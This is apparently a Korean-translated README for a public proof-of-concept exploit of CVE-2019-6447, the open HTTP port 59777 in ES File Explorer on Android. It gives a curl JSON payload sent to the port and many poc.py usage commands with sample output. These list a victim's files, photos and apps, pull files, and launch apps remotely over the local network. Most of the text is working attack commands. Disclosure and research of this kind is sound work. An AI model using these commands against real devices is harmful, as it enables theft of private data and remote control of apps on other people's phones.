ES File Explorer 오픈 포트 취약점 - CVE-2019-6447

Google Play 설명에 따르면:

ES File Explorer (파일 관리자)는 로컬 및 네트워크 사용을 위한 완벽한 기능의 파일(이미지, 음악, 동영상, 문서, 앱) 관리자입니다! 전 세계 5억 명 이상의 사용자를 보유한 ES File Explorer(파일 관리자)는 안드로이드 폰과 파일을 효율적으로 관리하고 데이터 요금 없이 파일을 공유하는 데 도움을 줍니다.

사용자가 앱을 실행할 때마다 HTTP 서버가 시작됩니다. 이 서버는 로컬에서 포트 59777을 엽니다:

angler:/ # netstat -ap | grep com.estrongs
tcp6       0      0 :::59777                :::*                    LISTEN      5696/com.estrongs.android.pop

이 포트에서 공격자는 대상에 JSON 페이로드를 보낼 수 있습니다.

curl --header "Content-Type: application/json" --request POST --data '{"command":"[my_awesome_cmd]"}' http://192.168.0.8:59777

이 명령들을 사용하면 피해자와 동일한 로컬 네트워크에 연결된 공격자가 피해자 휴대폰에 대한 많은 유용한 정보(기기 정보, 설치된 앱 등)를 얻을 수 있으며, 피해자의 휴대폰에서 원격으로 파일을 가져오고 피해자의 휴대폰에서 원격으로 앱을 실행할 수 있습니다.

영향을 받는 버전

4.1.9.7.4 이하

POC 기능

다음 PoC(Proof Of Concept)를 사용하면 다음을 수행할 수 있습니다:

피해자 기기의 SD카드에 있는 모든 파일 목록
피해자 기기의 모든 사진 목록
피해자 기기의 모든 동영상 목록
피해자 기기의 모든 오디오 파일 목록
피해자 기기에 설치된 모든 앱 목록
피해자 기기에 설치된 모든 시스템 앱 목록
피해자 기기에 설치된 모든 전화 앱 목록
피해자 기기의 SD카드에 저장된 모든 APK 파일 목록
피해자 기기에 설치된 모든 앱 목록
피해자 기기의 기기 정보 확인
피해자 기기에서 파일 가져오기
원하는 앱 실행
원하는 앱의 아이콘 가져오기

Demo

사용 방법

$ python poc.py -g /sdcard/Android/media/com.google.android.talk/Ringtones/hangouts_incoming_call.ogg

$ python poc.py --cmd appPull --pkg com.tencent.mm

$ python poc.py --cmd getAppThumbnail --pkg com.tencent.mm

$ python poc.py --cmd appLaunch --pkg com.tencent.mm
{"result":"0"}

$ python poc.py --cmd getDeviceInfo
{"name":"Nexus 6P", "ftpRoot":"/sdcard", "ftpPort":"3721"}

$ python poc.py --cmd listAppsAll
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"},
{"packageName":"com.android.cts.priv.ctsshim", "label":"com.android.cts.priv.ctsshim", "version":"8.1.0-4396705", "versionCode":"27", "location":"/system/priv-app/CtsShimPrivPrebuilt/CtsShimPrivPrebuilt.apk", "size":"22744", "status":"null", "mTime":"1230796800000"}

$ python poc.py --cmd listAppsPhone
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"}

$ python poc.py --cmd listAppsSystem
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"}

$ python poc.py --cmd listApps
{"packageName":"com.google.android.youtube", "label":"YouTube", "version":"13.50.52", "versionCode":"1350523400", "location":"/data/app/com.google.android.youtube-hg9X1FaylPbUXO1SaiFtkg==/base.apk", "size":"36860368", "status":"com.google.android.apps.youtube.app.application.backup.YouTubeBackupAgent", "mTime":"1545337705957"}

$ python poc.py --cmd listAppsSdcard

$ python poc.py --cmd listAudios
{"name":"hangouts_incoming_call.ogg", "time":"10/17/18 11:33:16 PM", "location":"/storage/emulated/0/Android/media/com.google.android.talk/Ringtones/hangouts_incoming_call.ogg", "duration":5000, "size":"74.63 KB (76,425 Bytes)", }

$ python poc.py --cmd listPics
{"name":"mmexport1546422097497.jpg", "time":"1/2/19 10:41:37 AM", "location":"/storage/emulated/0/tencent/MicroMsg/WeChat/mmexport1546422097497.jpg", "size":"38.80 KB (39,734 Bytes)", }

$ python poc.py --cmd listVideos

$ python poc.py --cmd listFiles

$ python poc.py --cmd listFiles --network 192.168.1.

$ python poc.py --cmd listFiles --ip 192.168.4.17

$ python poc.py list

######################
# Available Commands #
######################

listFiles: List all the files
listPics: List all the pictures
listVideos: List all the videos
listAudios: List all the audio files
listApps: List all the apps installed
listAppsSystem: List all the system apps
listAppsPhone: List all the phone apps
listAppsSdcard: List all the apk files in the sdcard
listAppsAll: List all the apps installed (system apps included)
getDeviceInfo: Get device info
appPull: Pull an app from the device. Package name parameter is needed
appLaunch: Launch an app. Package name parameter is needed
getAppThumbnail: Get the icon of an app. Package name parameter is needed

연락처

트위터 Twitter에서 저를 팔로우하세요! 제 작업의 일부는 https://fs0c131y.com에서 확인할 수 있습니다.

크레딧

@moonbocal의 팁에 따라, 조사와 POC는 ❤️를 담아 @fs0c131y가 만들었습니다.

ESFileExplorerOpenPortVuln

인기